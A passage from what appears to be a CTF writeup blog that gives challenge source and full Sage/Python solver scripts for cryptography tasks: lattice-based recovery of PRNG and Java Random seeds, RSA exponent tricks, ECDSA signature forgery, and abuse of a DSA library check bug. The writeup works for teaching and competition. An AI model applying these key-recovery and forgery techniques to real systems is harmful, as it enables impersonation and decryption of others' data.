    M[get_idx('x', i + 1), cnt] = -prng.a1[0]
    M[get_idx('x', i + 2), cnt] = -prng.a1[1]
    M[get_idx('x', i + 3), cnt] = -prng.a1[2]
    M[tot_base, cnt] = prng.m1
    cnt += 1
    tot_base += 1
    lb.append(0)
    ub.append(0)
 
# y 
for i in range(9):
    M[get_idx('y', i + 4), cnt] = 1
    M[get_idx('y', i + 1), cnt] = -prng.a2[0]
    M[get_idx('y', i + 2), cnt] = -prng.a2[1]
    M[get_idx('y', i + 3), cnt] = -prng.a2[2]
    M[tot_base, cnt] = prng.m2
    cnt += 1
    tot_base += 1
    lb.append(0)
    ub.append(0)
 
# z
for i in range(9):
    M[get_idx('z', i + 4), cnt] = 1
    M[get_idx('z', i + 1), cnt] = -prng.a3[0]
    M[get_idx('z', i + 2), cnt] = -prng.a3[1]
    M[get_idx('z', i + 3), cnt] = -prng.a3[2]
    M[tot_base, cnt] = prng.m3
    cnt += 1
    tot_base += 1
    lb.append(0)
    ub.append(0)
 
for i in range(12):
    M[get_idx('x', i + 1), cnt] = 1
    cnt += 1
    lb.append(0)
    ub.append(1 << 32)
 
for i in range(12):
    M[get_idx('y', i + 1), cnt] = 1
    cnt += 1
    lb.append(0)
    ub.append(1 << 32)
 
for i in range(12):
    M[get_idx('z', i + 1), cnt] = 1
    cnt += 1
    lb.append(0)
    ub.append(1 << 32)
 
for i in range(12):
    M[get_idx('x', i + 1), cnt] = (2 * prng.m1)
    M[get_idx('y', i + 1), cnt] = -prng.m3
    M[get_idx('z', i + 1), cnt] = -prng.m2
    M[tot_base, cnt] = prng.M
    cnt += 1
    tot_base += 1
    val = bytes_to_long(hint[8 * i : 8 * i + 8])
    lb.append(val)
    ub.append(val)
 
print(cnt)
print(tot_base)
 
result, applied_weights, fin = solve(M, lb, ub)
 
INIT_X = [int(fin[get_idx('x', i + 1)]) for i in range(3)]
INIT_Y = [int(fin[get_idx('y', i + 1)]) for i in range(3)]
INIT_Z = [int(fin[get_idx('z', i + 1)]) for i in range(3)]
 
print(fin)
print(INIT_X)
print(INIT_Y)
print(INIT_Z)
 
actual_prng = PRNGFinisher(INIT_X, INIT_Y, INIT_Z)
 
hint_check = b''
for i in range(12):
    hint_check += actual_prng.out()
 
sdaf = [hint_check[i] == hint[i] for i in range(96)]
print(sdaf)
 
if test == False:
    flag = b''
    for i in range(len(output) // 8):
        res = bytes_to_long(actual_prng.out())
        res = res ^ bytes_to_long(output[8 * i : 8 * i + 8])
        flag += long_to_bytes(res)
    print(flag)
cs

 

 

Seed Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import java.nio.file.Files;
import java.nio.file.Path;
import java.io.IOException;
import java.util.Random;
import java.util.Scanner;
 
class Main {
 
    private static void printFlag() {
        try {
            System.out.println(Files.readString(Path.of("flag.txt")));
        }
        catch(IOException e) {
            System.out.println("Flag file is missing, please contact admins");
        }
    }
 
    public static void main(String[] args) {
        int unlucky = 03777;
        int success = 0;
        int correct = 16;
 
        System.out.println(unlucky);
 
        System.out.println("Welcome to the 'Lucky Crystal Game'!");
        System.out.println("Please provide a lucky seed:");
        Scanner scr = new Scanner(System.in);
        long seed = scr.nextLong();
        Random rng = new Random(seed);
 
        for(int i=0; i<correct; i++) {
            /* Throw away the unlucky numbers */
            for(int j=0; j<unlucky; j++) {
                rng.nextFloat();
            }
 
            /* Do you feel lucky? */
            if (rng.nextFloat() >= (7.331f*.1337f)) {
                success++;
            }
        }
 
        if (success == correct) {
            printFlag();
        }
        else {
            System.out.println("Unlucky!");
        }
    }
}
 
cs

 

Java's RNG is truncated LCG, but to be honest it's not even truncated as it is pretty much LCG result divided by $2^{48}$. 

This is ultimately a hidden number problem, so it must be lattices - and CVP repository should work.

However, naively plugging in the lower bound / upper bound vectors gives some results that are off. 

To solve this problem, we manually change the lower bound / upper bound by hand to "persuade" our CVP algorithm to make the results more appropriate for our liking. For example, if one result is 0.97, smaller than we need, then we can make the lower bound a bit larger. If one result is 0.01, which means that we overshot the value, we can reduce the upper bound so that the value can land between 0.98 and 1.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = IntegerLattice(mat, lll_reduce=True).reduced_basis
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
        # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
        # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
# conn = remote('seedme.chal.perfect.blue', 1337)
# conn.interactive()
 
def getv(seed):
    seed = (seed * 0x5DEECE66D + 0xB& ((1 << 48- 1)
    return seed, (seed >> 24/ (1 << 24)
 
curm = [1]
curb = [0]
 
= Matrix(ZZ, 1717)
lb = [0* 17
ub = [0* 17
 
for i in range(16 * 2048):
    curm.append((0x5DEECE66D * curm[i]) % (1 << 48))
    curb.append((0x5DEECE66D * curb[i] + 0xB) % (1 << 48))
 
for i in range(016):
    m, b = curm[2048 * i + 2048], curb[2048 * i + 2048]
    M[0, i] = m
    M[i + 1, i] = 1 << 48
    lb[i] = int(0.9803 * (1 << 48)) - b 
    ub[i] = int((1 << 48)) - 1 - b
 
# post-fix manually
lb[0= int(0.985 * (1 << 48)) - curb[2048]
ub[15= int(0.995 * (1 << 48)) - curb[2048 * 16]
 
M[016= 1
lb[16= 0
ub[16= 1 << 48
 
result, applied_weights, fin = solve(M, lb, ub)
 
res = (int(fin[0]) + (1 << 48)) % (1 << 48)
 
init_seed = 0x5DEECE66D ^ res 
 
print(init_seed)
 
seeds = init_seed
seeds = (seeds ^ 0x5DEECE66D& ((1 << 48- 1)
 
curm = [1]
curb = [0]
 
for i in range(16 * 2048):
    curm.append((0x5DEECE66D * curm[i]) % (1 << 48))
    curb.append((0x5DEECE66D * curb[i] + 0xB) % (1 << 48))
 
for i in range(016):
    m, b = curm[2048 * i + 2048], curb[2048 * i + 2048]
    res = (seeds * m + b) % (1 << 48)
    print(res / (1 << 48>= 0.7331 * 1.337)
cs

 

 

'CTF' 카테고리의 다른 글

SECCON CTF 2021 Writeups  (0) 2021.12.14
N1CTF 2021 Writeups  (1) 2021.11.22
TSGCTF 2021 Writeups  (0) 2021.10.03
DUCTF 2021 Writeups  (0) 2021.09.26
ACSC Crypto Writeups  (0) 2021.09.26

5 Crypto + 2 PPC = 7 solves. Favorite Challenges = This is DSA, Lumberjack Against Nature.

 

Beginner's Crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from secret import e
from Crypto.Util.number import getStrongPrime, isPrime
 
= getStrongPrime(1024)
= getStrongPrime(1024)
= p * q
phi = (p - 1* (q - 1)
 
with open('flag.txt''rb'as f:
    flag = int.from_bytes(f.read(), 'big')
 
assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))
 
e1 = pow(e, 0x10001, phi)
e2 = pow(e + 20x10001, phi)
e3 = pow(e + 40x10001, phi)
 
c1 = pow(flag, e1, N)
c2 = pow(flag, e2, N)
c3 = pow(flag, e3, N)
 
print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'c3 = {c3}')
 
cs

 

As it will be soon mentioned in the flag of this challenge, we will solve this without $p, q$. 

Since $e, e+2, e+4$ is all prime and at least one of them has to be a multiple of $3$, we see $e=3$. 

Now we can see that $c_1, c_2, c_3$ can be computed as $$c_1 \equiv m^{3^{65537}} \pmod{n}, \quad c_2 \equiv m^{5^{65537}} \pmod{n}, \quad c_3 \equiv m^{7^{65537}} \pmod{n}$$ Since $\gcd(3^{65537}, 5^{65537}) = 1$, we can use extended Euclidean algorithm on the exponents to find $m$. 

 

Since $3^{65537}$ and $5^{65537}$ are large numbers, it is recommended to use GMPY or Sagemath's integers.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
= 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
= 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837
= p * q
 
# using n only
 
e1 = pow(Integer(3), 0x10001)
e2 = pow(Integer(5), 0x10001)
 
g1 = inverse_mod(e1, e2)
g2 = Integer((e1 * g1 - 1// e2)
 
flag = (pow(c1, g1, n) * inverse_mod(Integer(pow(c2, g2, n)), n)) % n 
 
print(long_to_bytes(int(flag)))
cs

 

Minimalist's Private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import isPrime
from random import randrange
from secret import p, q, L, e, d
 
class RSA:
    def __init__(self, p, q, L, e, d):
        assert(isPrime(p) and isPrime(q))
        self.N = p * q
        self.L = L
        self.e = e
        self.d = d
 
        # these are the normal RSA conditions
        for _ in range(100):
            assert(pow(randrange(1self.N), self.L, self.N) == 1)
        assert(self.e * self.d % self.L == 1)
 
        # minimal is the best
        assert(self.L * self.L <= 10000 * self.N)
 
    def gen_private_key(self):
        return (self.N, self.d)
 
    def gen_public_key(self):
        return (self.N, self.e)
 
    def encrypt(self, msg):
        return pow(msg, self.e, self.N)
 
    def decrypt(self, c):
        return pow(c, self.d, self.N)
 
flag = open('flag.txt''rb').read()
msg = int.from_bytes(flag, byteorder='big')
assert(msg < p * q)
 
rsa = RSA(p, q, L, e, d)
encrypted = rsa.encrypt(msg)
assert(rsa.decrypt(encrypted) == msg)
 
print(f'N, e = {rsa.gen_public_key()}')
print(f'c = {encrypted}')
 
cs

 

We see that $L \ge \text{lcm}(p-1, q-1)$. If we let $G = \gcd(p-1, q-1)$ and $p-1 = Ga$, $q-1 = Gb$, we have $$(Gab)^2 \le L^2 \le 10^4 n = 10^4(Ga + 1)(Gb + 1)$$ which shows us that $$ab \le 10^4 \left(1 + \frac{1}{Ga} \right) \left(1 + \frac{1}{Gb} \right) \le 4 \cdot 10^4$$ There are not a lot of pairs $(a, b)$ with $ab \le 4 \cdot 10^4$, in fact, the number of pairs $(a, b)$ with $ab \le n$ is around $\mathcal{O}(n \log n)$, so we can brute force all such $(a, b)$ and try to solve for $G$ with the quadratic equation $$n = (Ga+1)(Gb+1)$$

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def inthroot(a, nn):
    return a.nth_root(nn, truncate_mode=True)[0]
 
n, e = (110810384837032261825023623509673754738102610876330251649981605143280121681368156837531959563893256283529225677601694957397273288158620952782439302742812596459937884534715440963387843686842290530079941383864568643035248453476130518593895658961288946324650893599430144357678145290466607212246583158515615165537)
= 254705401581808316199469430068831357413481187288921393400711004895837418302514065107811330660948313420965140464021505716810909691650540609799307500282957438243553742714371028405100267860418626513481187170770328765524251710154676478766892336610743824131087888798846367363259860051983889314134196889300426
 
for i in tqdm(range(15000)):
    for j in range(15000 // i + 5):
        aa = i * j 
        bb = i + j 
        cc = 1 - n 
        try:
            tt = (-bb + inthroot(Integer(bb * bb - 4 * aa * cc), 2)) // (2 * aa)
            p = i * tt + 1
            q = j * tt + 1 
            if p * q == n:
                print("HEY")
                print(p, q)
                phi = LCM(p - 1, q - 1)
                d = inverse(e, phi)
                print(d)
                print(long_to_bytes(pow(c, d, n)))
                exit()
        except:
            pass
 
 
cs

 

Baba is Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
require 'openssl'
require 'digest'
 
STDOUT.sync = true
 
class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end
 
class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end
 
  def inv(x)
    x.pow(@n - 2, @n)
  end
 
  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    x, y = (@G * k).xy
 
    # We all like hacks, ain't we?
    # s = (z + x * @d) * inv(k) % @n
    s = (z + @d) * inv(k) % @n
 
    return x, s
  end
 
  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex
 
    # ditto
    # x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy
    x2, y2 = (@G * (z * inv(s)) + @Q * inv(s)).xy
 
    return x == x2
  end
end
 
ecdsa = ECDSA.new
 
5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS
 
  print 'choice? '
 
  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i
 
    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end
 
puts 'You is defeat.'
 
cs

 

Here, we want to forge $(x, s)$ such that $$s \cdot \text{lift_x}(x) = Q + z \cdot G$$ where $z$ is the hash of the message and $\text{lift_x}(x)$ is the point with $x$-coordinate equal to $x$. By asking for the signature of 'Baba', we get a pair $(x, s)$ that corresponds to the hash of 'Baba'. Since $x, s, z, G$ are all known, we can recover the value of $Q$. 

 

Now we can simply take $s = 1$ and $x$ to be the $x$-coordinate of $Q + z \cdot G$, where $z$ is the hash of 'Flag' to make a valid signature.

This solves the problem, and this vuln is of course from the missing $x$ in the signature formula.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
= remote('34.146.212.53'65434)
 
= (1 << 256- (1 << 32- (1 << 9- (1 << 8- (1 << 7- (1 << 6- (1 << 4- 1
 
= EllipticCurve(GF(p), [07])
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
 
= E(Gx, Gy)
= E.order()
print(isPrime(n))
 
h1 = bytes_to_long(hashlib.sha256(b'Baba').digest())
h2 = bytes_to_long(hashlib.sha256(b'Flag').digest())
 
for i in range(3):
    r.recvline()
r.sendline(b"1")
r.recvline()
X1 = int(r.recvline().split()[-1])
S1 = int(r.recvline().split()[-1])
 
print(X1)
print(S1)
 
 
target1 = S1 * E.lift_x(GF(p)(X1))
 
target2 = target1 + (h2 - h1) * G
for i in range(3):
    r.recvline()
r.sendline(b"2")
r.sendline("Flag")
r.sendline(str(int(target2.xy()[0])))
r.sendline(b"1")
print(r.recvline())
print(r.recvline())
cs

 

This is DSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# See also https://github.com/tsg-ut/pycryptodome
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from Crypto.Util.number import getPrime
from Crypto.Random.random import randrange
from base64 import b64decode
from signal import alarm
import os
 
alarm(15)
 
= getPrime(256)
print(f'q = {q}')
 
= int(input('p? '))
= int(input('h? '))
 
= pow(h, (p - 1// q, p)
= randrange(q)
= pow(g, x, p)
 
print(f'g = {g}')
print(f'y = {y}')
 
dsa = DSA.construct((y, g, p, q, x))
dss = DSS.new(dsa, 'fips-186-3')
 
print('Thank you for helping me with DSA! Now give me the base64-encoded signature of sha256("flag")')
sign = b64decode(input('sign? '))
 
dss.verify(SHA256.new(b'flag'), sign)
print(f"Awesome! {os.environ.get('FLAG')}")
cs

 

I took ridiculously long to solve this challenge, for several reasons. Here's my story. 

 

Step 1 : removing all "irrational" ideas

In standard DSA, we are forced to solve a discrete logarithm in a subgroup of $\mathbb{F}_p^{\star}$ with order $q$. 

Since $q$ is 256 bits, this is very hard to do, and there are no tricks that I know of to make a nice $p$ that makes it possible. 

Therefore, directly attacking this problem is not possible. We have to go around it. 

 

The first thing that caught my eye was that there was no check that $(y, g, p, q, x)$ was valid DSA tuple. 

If I could do send some nasty values on $p, h$, then maybe this problem would be very easy to solve. 

 

At this point, about 10 minutes have passed. I decided to look at pycryptodome's code for DSA construction.

Then https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/PublicKey/DSA.py#L489 happened. 

It turns out that pycryptodome does check everything automatically, even when not specified. 20 minutes have passed.

 

Step 2 : actually knowing what the challenge is

After wasting an additional 40 minutes, I found that the library was patched. 

https://github.com/tsg-ut/pycryptodome/commit/22388c5fec4607e8e255926c3e95724a2f070e76  

 

So it doesn't check $p \equiv 1 \pmod{q}$ anymore! This is good stuff. However, one thing still bugged me. 

After sending $h$, the server computes $g \equiv h^{\lfloor (p-1)/q \rfloor} \pmod{p}$. It then checks

  • $g \not\equiv 1 \pmod{p}$
  • $g^q \equiv 1 \pmod{p}$

If $p$ was a prime, then such $g$ can only exist if $p \equiv 1 \pmod{q}$. This forces $p$ to not be prime.

 

However, the pycryptodome library mentions that it checks for the primality of $p$, and there were no patches on that.

 

So I looked at the primality test function used in the repository. It consisted of a few Miller-Rabin tests and one Lucas test. 

If there was no Lucas test, it was not very hard to bypass this with some very large semiprimes. Because the number of Miller-Rabin iterations in the repository did not consider adversarial attacks, if we send a very large "carmichael like" semiprime, then we would only do one round of Miller-Rabin, and have good probability of passing the Miller-Rabin part of the primality test. Of course, the downside is 

  • We actually need $p$ to be exactly 2048 bits, but I didn't know that at the time 
  • We also need to pass Lucas test, and adversarial examples passing both Miller-Rabin and Lucas is not known, I think?

 

After deciding that finding a composite $p$ that passes the primality check is as hard as writing a conference paper, I looked back.

 

1
2
fmt_error = test_probable_prime(p) == COMPOSITE
fmt_error = test_probable_prime(q) == COMPOSITE
cs

 

That second line had to be OR'ed, not substituted, yet it was substituted. This was also in the original repository.

This meant that the primality check of $p$ is completely ignored, which means I didn't need to think about Miller-Rabin and stuff.

 

Step 3 : the finish

Since $p$ doesn't have to be prime, we will use the variable $n$ to avoid confusion.

OK, so I want to solve a discrete logarithm in a subgroup of $\mathbb{Z}_{n}^\star$ with a group order of $q$. 

This is a classical one - we can always take $n$ to be a power of $q$ and use Binomial Theorem. To be exact, we take $n = q^8$ and $h = 1 + q^7$.

 

Now $$g \equiv h^{q^7 - 1} \equiv 1 - q^7 \pmod{q^8}$$ and we see that $$y \equiv g^x \equiv 1 - x q^7 \pmod{q^8}$$ which means we can recover $0 \le x < q$ easily from $y$. Check out Paillier Cryptosystem.

  

Since $n$ needs to be exactly $2048$ bits, $n = q^8$ may fail. You can either reconnect until successful, or try to multiply $2$ until $n$ is exactly $2048$ bits. In this case, you also need to patch $h$ a bit as well. This is left as an exercise.

 

This was an astounding problem (thanks to the author!), as one of the main vulns was in the original repository as well. 

I briefly thought about whether this unpatched vuln is enough to create some issues, but I don't think so. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 
 
= remote('34.146.212.53'61234)
 
= r.recvline()
= int(s.split()[-1])
 
= q ** 8
while p.bit_length() < 2048:
    p = 2 * p 
 
= 1 + 16 * q ** 7
r.sendline(str(p))
r.sendline(str(h))
 
= int(r.recvline().split()[-1])
= int(r.recvline().split()[-1])
 
print(2 <= g < p)
print(pow(g, q, p) == 1)
 
gs = ((g - 1// (q ** 7)) % q
ys = ((y - 1// (q ** 7)) % q
 
= (ys * inverse(gs, q)) % q 
 
res = bytes_to_long(hashlib.sha256(b'flag').digest())
 
= 1
rr = g % q
ss = (res + x * rr) % q
 
print(r.recvline())
 
 
res = long_to_bytes(rr, 32+ long_to_bytes(ss, 32)
 
r.sendline(b64encode(res))
 
print(r.recvline())
print(r.recvline())
cs

 

Flag is Win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
require 'openssl'
require 'digest'
 
STDOUT.sync = true
 
class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end
 
class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end
 
  def inv(x)
    x.pow(@n - 2, @n)
  end
 
  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    x, y = (@G * k).xy
 
    # We should discourage every evil hacks
    s = (z + x * @d) * inv(k) % @n
 
    return x, s
  end
 
  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex
 
    # ditto
    x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy
 
    return x == x2
  end
end
 
ecdsa = ECDSA.new
 
5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS
 
  print 'choice? '
 
  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i
 
    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end
 
puts 'You is defeat.'
 
 
cs

 

This challenge also took me ridiculously long because I made many mistakes and my intuition on lattices is not solid. 

 

It took me very long to realize that I have ruby installed on WSL and I could test what that whole unpack hex thing is. 

Of course, experienced CTF players may notice that unpack hex thing from last year's SECCON, but I didn't solve that challenge :P

 

Anyways, if you test out that unpack hex thing, we can see that $k$ has the form of $$ 48 \cdot \sum_{m=0}^{26} 256^m + \sum_{m=0}^{26} v_m \cdot 256^m$$ where $0 \le v_m \le 9$. We also know that $$k_1 s_1 \equiv z + x_1 d \pmod{n}, \quad k_2 s_2 \equiv z + x_2 d \pmod{n}$$ which, after canceling $d$ out, gives $$k_1(s_1x_2) - k_2(s_2x_1) \equiv z(x_2-x_1) \pmod{n}$$ This can be written as a linear equation of $26 \times 2$ variables between $0$ and $9$ inclusive, and we can shove it into CVP repository.

It seems like you need BKZ instead of LLL to find the correct values, which is understandable since BKZ is very strong.

 

I took a lot of time trying to use as many signatures as possible, leading to very large matrix size and longer runtime. 

I also tried a lot of various hacks which worked very well for ACSC Share the Flag, but they didn't work here. Lattices are hard...

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = mat.BKZ(block_size = 35)
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
        # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
